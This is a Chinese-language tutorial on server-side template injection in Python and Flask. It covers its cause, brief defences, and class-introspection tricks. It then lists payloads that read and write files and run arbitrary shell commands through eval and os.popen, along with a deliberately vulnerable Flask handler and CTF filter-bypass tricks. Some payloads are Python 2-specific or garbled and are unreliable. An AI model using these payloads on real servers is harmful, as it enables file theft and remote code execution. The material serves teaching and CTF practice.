什么是(服务端)模板中注入?
前言:服务器端模板提供了一种更加简单的方法来管理动态生成的HTML代码。最大的优点就是你可以在服务器端动态生成HTML页面,看起来跟静态HTML页面一样。
通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
漏洞成因:
程序员对代码不规范不严谨造成
如何防御ssti?
- 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。
- 已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径
关于SSTI的python类的知识
面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。
__class__:
用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
__bases__
:用来查看类的基类,也可是使用数组索引来查看特定位置的值
__mro__
也可获取基类,若在后面加[number]则直接获取基类
__subclasses__()
:查看当前类的子类object.__作用一样
一些常用的姿势
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
SSTI神器–Tplmap
———————————————————
模板渲染
函数:render_template()
flask漏洞成因
漏洞代码:
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
利用**%(request.url)**
render_template函数渲染的是templates中的模板
ctf常见绕过
- 过滤[]等括号
- 过滤了subclasses,拼凑法
原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]'subcla'+'sses'}}
- 过滤class
- timeit姿势
参考源
- https://xz.aliyun.com/t/3679
- https://blog.csdn.net/zz_Caleb/article/details/9648096